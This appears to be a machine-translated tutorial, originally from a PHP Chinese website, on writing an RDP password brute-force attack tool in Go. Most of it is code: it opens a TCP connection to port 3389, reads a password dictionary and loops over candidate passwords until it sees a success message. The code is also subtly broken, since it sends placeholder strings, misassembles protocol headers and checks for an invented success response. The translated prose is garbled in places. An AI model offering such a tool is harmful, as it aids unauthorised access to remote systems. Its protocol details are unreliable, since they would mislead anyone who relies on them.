ネットワーク セキュリティの分野では、ブラストはターゲット アカウントのパスワード強度をテストするための手法です。サイバー攻撃者にとって、ブルート フォース ブルート フォースは、システムに不正にアクセスするためにターゲット アカウントのパスワードを推測することを目的とした一般的な攻撃方法です。このプロセスには多くの計算と時間が必要となることが多いため、多くのハッカーは通常、プログラミング言語を使用して攻撃ツールを実装し、爆破プロセスを簡素化および高速化することを選択します。
この記事では、Go を使用して RDP ブラスト攻撃ツールを作成する方法を説明します。主に次の点が含まれます。
TCP 接続とメッセージ送信の実装
conn, err := net.Dial("tcp", "rdp.example.com:3389") if err != nil { // 处理错误信息 }
RDP プロトコルのメッセージ形式を理解する必要もあります。 RDP メッセージは、ASN.1 標準に基づいたデータ構造です。通常、これらは RDP プロトコル ヘッダー、Microsoft RDPDR および MS TPKT プロトコル ヘッダーで構成されます。 RDP メッセージを構築するときは、メッセージ ヘッダーを次のように設定する必要があります。
buf := new(bytes.Buffer) // RDP 协议头 rdpHeader := RdpHeader{ Type: PDUTYPE_DATAPDU | PDUTYPE2_VALID | 0x10, Length: uint16(len(data)), SubType: 1, Compressed: 0, Authentication: 0, } // 写入 RDP 协议头 err = binary.Write(buf, binary.BigEndian, &rdpHeader) if err != nil { // 处理错误信息 } // Microsoft RDPDR 协议头 rdpdrHeader := RdpdrHeader{ Component: RDPDR_CTYP_CORE, PacketType: RDPDR_TYPE_REQUEST, PacketId: uint32(packetId), DataLength: uint32(len(data)), ExtraData: 0, Status: STATUS_SUCCESS, } // 写入 RDPDR 协议头 err = binary.Write(buf, binary.LittleEndian, &rdpdrHeader) if err != nil { // 处理错误信息 } // 写入数据 err = binary.Write(buf, binary.LittleEndian, data) if err != nil { // 处理错误信息 } // 发送数据到 RDP 服务器 _, err = conn.Write(buf.Bytes()) if err != nil { // 处理错误信息 }上記のコードでは、最初に RDP プロトコル ヘッダーと Microsoft RDPDR プロトコル ヘッダーを作成します。次に、メッセージ データがパックされ、新しいバイト バッファ
buf
に書き込まれます。最後に、バッファ内のデータは、net.Dial() を通じて確立された TCP 接続に書き込まれます。
パスワード辞書リストの読み取りを実装する
os.Open()
関数を使用して開き、bufio.NewReader() 関数を使用してバッファに追加できるため、次のようにファイル行のデータを読み取ることができます。ライン 。サンプル コードは次のとおりです。
func readPasswords(passwordList string) ([]string, error) { passwords := []string{} file, err := os.Open(passwordList) if err != nil { return passwords, err } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { passwords = append(passwords, scanner.Text()) } if err := scanner.Err(); err != nil { return passwords, err } return passwords, nil }
上記のコードでは、まずパスワード辞書ファイルを開き、
bufio パッケージを使用してバッファに追加します。次に、bufio.Scanner() 関数を使用して、ファイル内のすべてのデータを 1 行ずつ読み取り、それを
passwords リストに追加します。最終的に、この関数はパスワードと考えられるエラーのリストを返します。
ブラスト攻撃の実装
func rdpBruteForce(conn net.Conn, user string, passwordList []string) error { for _, password := range passwordList { _, err := conn.Write([]byte("some rdp message with password " + password)) if err != nil { return err } // 检查是否成功找到密码 response := make([]byte, 1024) _, err = conn.Read(response) if err != nil { return err } if bytes.Contains(response, []byte("successfully authenticated")) { fmt.Printf("Password found: %s", password) return nil } } return fmt.Errorf("Password not found in the list") }上記のコードでは、パスワード ディクショナリを反復し、
conn.Write()
関数を使用して、次のコードに含まれるパスワードを送信します。辞書を RDP サーバーに送信し、現在のパスワードのメッセージを送信します。次に、conn.Read() 関数を使用して、サーバーから応答メッセージを受信します。メッセージに「認証に成功しました」という文字列が含まれている場合は、正しいパスワードが見つかったことを意味し、プログラムはパスワードを出力してループを終了します。パスワード辞書が正常に反復処理されてもパスワードが見つからない場合は、エラー メッセージが出力されます。
最後に、RDP 接続を実装し、次の関数を呼び出して攻撃する必要があります:
func startRdpBruteForce(ip string, user string, passwordList string) error { conn, err := net.Dial("tcp", ip+":3389") if err != nil { return err } // 发送所有 RDP 初始化消息 _, err = conn.Write([]byte("some rdp initialization messages")) if err != nil { return err } passwords, err := readPasswords(passwordList) if err != nil { return err } err = rdpBruteForce(conn, user, passwords) if err != nil { return err } return nil }この関数では、最初に TCP 接続を確立し、RDP 初期化メッセージを送信します。次に、
readPasswords()
関数を使用してパスワード辞書ファイルを読み取ります。最後に、rdpBruteForce() 関数を呼び出し、
conn とパスワード リストを引数として渡します。
概要
以上がgolang は rdp ブラストを実装しますの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。